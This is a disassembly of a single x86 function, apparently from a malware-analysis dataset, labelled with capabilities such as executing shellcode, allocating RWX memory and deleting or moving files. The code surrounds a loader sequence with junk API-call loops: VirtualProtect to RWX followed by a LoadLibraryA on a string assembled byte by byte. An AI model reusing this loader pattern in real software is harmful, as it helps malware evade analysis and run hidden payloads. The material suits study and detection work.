Function at 0x4a8560
Capabilities:
Allocate or change rwx memory
Copy file
Delete file
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get file attributes
Identify system language via api
Manipulate console buffer
Move file
Query environment variable
Read .ini file
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xffffffc0
push 0xffffffffffffffff
push 0x4a975c
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x34
mov eax, 0x2630
call fcn.004133c0
push ebx
mov ebx, dword [esp + 0x30]
push ebp
mov ebp, dword [esp + 0xfc]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
cmp esi, 0x2d19c
jge 0x4a85b1
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
call edi
cmp dword [0x834100], 0x6fb
jne 0x4a85c9
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
cmp esi, 0x1e9afa0a
jle 0x4a85e1
cmp ebx, 0xc10b3a
je 0x4a85e1
cmp ebp, 0x9514f0c
jne 0x4a85ea
inc esi
cmp esi, 0x83358
jl 0x4a859f
cmp dword [0x834100], 0xcf8
jne 0x4a8791
push 0
call fcn.00407a39
add esp, 4
xor ebp, ebp
push ebp
push ebp
call fcn.004078fd
add esp, 8
lea eax, [esp + 0x50]
push eax
call fcn.00405900
fldz
sub esp, 0x10
fst qword [esp + 8]
fstp qword [esp]
call fcn.00407b00
fstp st(0)
push ebp
push ebp
call fcn.004079f9
push ebp
push ebp
call fcn.004079f9
push ebp
call fcn.00407b38
add esp, 0x24
push ebp
call fcn.00407c1e
add esp, 4
push ebp
push ebp
push ebp
push ebp
push ebp
call fcn.004075f8
mov edx, dword [esp + 0x64]
mov eax, dword [edx + 4]
lea ecx, [esp + 0xbc]
add esp, 0x14
mov dword [esp + 0x44], ecx
mov dword [esp + eax + 0x50], 0x4044c4
mov dword [esp + 0x267c], ebp
test byte [esp + 0xa0], 1
lea ecx, [esp + 0x60]
mov dword [esp + 0x48], ecx
mov dword [esp + 0x60], 0x404484
je 0x4a86a4
mov edx, dword [esp + 0x70]
mov eax, dword [edx]
push eax
call fcn.00407b2d
add esp, 4
mov eax, dword [esp + 0x70]
mov dword [eax], ebp
mov ecx, dword [esp + 0x80]
mov dword [ecx], ebp
mov edx, dword [esp + 0x90]
mov dword [edx], ebp
mov eax, dword [esp + 0x74]
mov dword [eax], ebp
mov ecx, dword [esp + 0x84]
mov dword [ecx], ebp
mov edx, dword [esp + 0x94]
mov dword [edx], ebp
and dword [esp + 0xa0], 0xfffffffe
mov dword [esp + 0x9c], ebp
mov dword [esp + 0x60], 0x40443c
mov byte [esp + 0x267c], 1
mov eax, dword [esp + 0x98]
mov ebx, eax
cmp eax, ebp
je 0x4a874b
mov edi, dword [eax]
cmp edi, ebp
je 0x4a8742
push ebp
lea ecx, [esp + 0x40]
call fcn.00406d92
mov eax, dword [edi + 4]
cmp eax, ebp
jbe 0x4a8720
cmp eax, 0xffffffff
jae 0x4a8720
dec eax
mov dword [edi + 4], eax
mov esi, dword [edi + 4]
neg esi
sbb esi, esi
not esi
lea ecx, [esp + 0x3c]
and esi, edi
call fcn.00406dba
cmp esi, ebp
je 0x4a8742
mov eax, dword [esi]
mov edx, dword [eax]
push 1
mov ecx, esi
call edx
push ebx
call fcn.00407b2d
add esp, 4
lea ecx, [esp + 0x64]
mov byte [esp + 0x267c], 0
call fcn.00406deb
mov dword [esp + 0x267c], 0xffffffff
mov eax, dword [esp + 0x50]
mov ecx, dword [eax + 4]
lea edx, [esp + 0xa8]
mov dword [esp + ecx + 0x50], 0x40447c
push edx
mov dword [esp + 0xac], 0x40442c
call fcn.0040699e
add esp, 4
mov edi, dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
xor esi, esi
cmp esi, 0x408
jne 0x4a87ac
mov eax, 0x5d1
add dword [0x834100], eax
cmp dword [0x834100], 3
jne 0x4a87c3
push 0
push 0
lea eax, [esp + 0x248]
push eax
call edi
inc esi
cmp esi, 0x1518d4
jl 0x4a8799
mov ecx, dword [0x834100]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x4b4164], eax
mov eax, dword [0x834100]
xor esi, esi
test eax, eax
je 0x4a8819
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
call fcn.004a80e0
cmp dword [0x834100], 0x29
jne 0x4a880f
push 0
push 0
lea edx, [esp + 0x248]
push edx
push 0
call edi
mov eax, dword [0x834100]
inc esi
cmp esi, eax
jb 0x4a87f1
cmp eax, 0x70
jne 0x4a88eb
mov esi, dword [sym.imp.KERNEL32.dll_EnumSystemLocalesA]
push 0
push 0
call esi
push 0
push 0x404180
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringA]
lea eax, [esp + 0x240]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push 0
lea ecx, [esp + 0x1644]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommConfig]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
push 0
lea edx, [esp + 0x644]
push edx
push 0
call dword [sym.imp.KERNEL32.dll__hread]
call dword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetLocaleInfoW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeA]
push 0
push 0
lea eax, [esp + 0xe48]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
call dword [sym.imp.KERNEL32.dll_SetFileApisToOEM]
push 0
push 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
mov ebp, dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
mov esi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentConsoleFont]
mov dword [esp + 0x3c], 0x9682ab
jmp 0x4a8910
cmp dword [0x834100], 3
jne 0x4a893d
push 0x40418c
push 0
lea ecx, [esp + 0x648]
push ecx
push 0x4041ac
push 0x4041c4
push 0x404200
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
cmp dword [0x834100], 0xdf
jne 0x4a8a54
push 0
push 0
push 0
call edi
xor edx, edx
lea ecx, [esp + 0x48]
push ecx
push edx
push edx
lea eax, [esp + 0xe4c]
push eax
push edx
mov dword [esp + 0x58], edx
call ebp
lea ecx, [esp + 0x4c]
push ecx
push 0
push 0
push 0
call esi
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
push 0
push 0
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea edx, [esp + 0x40]
push edx
push 0
push 0
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ResetWriteWatch]
push 0
push 0x40421c
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
push 0
call dword [sym.imp.KERNEL32.dll_IsDBCSLeadByte]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0
push 0
push 0
push 0x404248
push 0x404290
call dword [sym.imp.KERNEL32.dll_MoveFileWithProgressA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
lea eax, [esp + 0xf0]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommState]
push 0
push 0
push 0
lea ecx, [esp + 0x12c]
push ecx
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
push 0
lea edx, [esp + 0x1644]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
lea eax, [esp + 0x640]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
dec dword [esp + 0x3c]
jne 0x4a8910
mov edi, dword [sym.imp.USER32.dll_CharUpperA]
mov esi, 0x1ff896f4
lea esp, [esp]
push 0
call edi
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
dec esi
jne 0x4a8a70
mov edx, dword [0x834100]
mov eax, dword [0x4b4164]
lea ecx, [esp + 0x40]
push ecx
push 0x40
push edx
push eax
mov byte [0x4af3d0], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.004a8380
mov eax, 0
add dword [0x4b4164], eax
push 0x4af3d0
mov dword [0x4af3d2], 0x33676d69
mov word [0x4af3d0], 0x736d
mov dword [0x4af3d8], 0x6c6c64
mov word [0x4af3d6], 0x2e32
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp dword [0x834100], 0xc30
jne 0x4a8ba5
call dword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
lea ecx, [esp + 0x240]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push esi
call dword [sym.imp.KERNEL32.dll_CreateActCtxW]
push esi
lea edx, [esp + 0x44]
push edx
push esi
lea eax, [esp + 0x64c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomW]
push 0x404314
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push esi
lea ecx, [esp + 0x1644]
push ecx
push 0x404320
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push esi
lea edx, [esp + 0xe44]
push edx
push 0x404340
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push esi
lea eax, [esp + 0x1e44]
push eax
push 0x4043f8
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
lea ecx, [esp + 0x120]
push ecx
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
mov edx, dword [esp + 0x40]
push esi
push esi
push edx
call dword [sym.imp.KERNEL32.dll_SetTapeParameters]
mov ecx, dword [esp + 0x2674]
pop edi
xor eax, eax
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret